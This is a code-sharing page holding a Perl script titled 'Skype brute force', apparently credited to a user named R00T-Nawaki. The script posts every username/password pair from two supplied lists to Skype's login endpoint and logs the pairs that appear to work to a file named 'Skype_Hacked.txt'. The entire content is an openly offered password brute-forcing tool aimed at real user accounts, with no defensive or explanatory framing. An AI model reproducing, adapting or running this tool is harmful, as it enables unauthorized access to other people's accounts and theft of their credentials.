Skype brute force

Skapad 3 år sedan, skriven i Perl, med 334 visningar.
URL http://kod.perl.se/view/70738cb4 Bädda in
Ladda hem koden eller visa koden i råformatVisa bredare version
  1. #!perl
  2.  
  3.  use Getopt::Std;
  4.  use HTTP::Request::Common qw(POST);
  5.  use LWP::UserAgent;
  6.  
  7. $SIG{'INT'} = \&sig_catch;$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
  8. $SIG{'CHLD'}='IGNORE';$SIG{'ALRM'}='IGNORE';
  9.  
  10.   $| = 1;
  11.  
  12.   sub sig_catch {
  13.   exit;
  14.   }
  15.  
  16.   getopts('u:p:');
  17.   our($opt_u,$opt_p);
  18.  
  19.   my $userlist = $opt_u;
  20.   my $passlist = $opt_p;
  21.  
  22.         if ($userlist eq "") {
  23.         print "\n";
  24.         print "***************************************************************************\n";
  25.         print "Skype Bruteforcer v1.0                                                                                                       \n";
  26.         print "Modificado Por R00T-Nawaki                                                                           \n";
  27.         print "Comando: perl $0 -u <users.txt> -p <wordlist.txt>                                                                                \n";
  28.         print "***************************************************************************\n";
  29.         exit (1);
  30.         }
  31.  
  32.         open(USERS, "<$userlist") || die ("Não Foi Possível Abrir a Lista De Usuarios.");
  33.         open(WORDS, "<$passlist") || die ("Não Foi Possível Abrir a wordlist.");
  34.         @users= <USERS>;
  35.         @words= <WORDS>;
  36.         close(USERS);
  37.         close(WORDS);
  38.         $i=0;
  39.  
  40.  foreach $user (@users) {
  41.  chomp($user);
  42.  foreach $pass (@words) {
  43.  chomp($pass);
  44.  $ua = LWP::UserAgent->new;
  45.  printf("\n%5d Trying $user:$pass", ++$i);
  46.  my $req = POST 'https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin',
  47.                 [ username => $user, password => $pass, login => 'Sign+me+in' ];
  48.  
  49.   my $res = $ua->request($req);
  50.  
  51.   if ($res->as_string =~ /cookiecheck/gi) {
  52.   open (LOG, ">>Skype_Hacked.txt");
  53.   $time = time();
  54.   $loctime = localtime($time);
  55.   print LOG "\n";
  56.   print LOG "Tempo: $loctime\n";
  57.   print LOG "Login: $user\n";
  58.   print LOG "Senha: $pass\n\n";
  59.   close(LOG);
  60.   }}}

Svara på "Skype brute force"

Här kan du skriva ett svar till kodsnutten ovan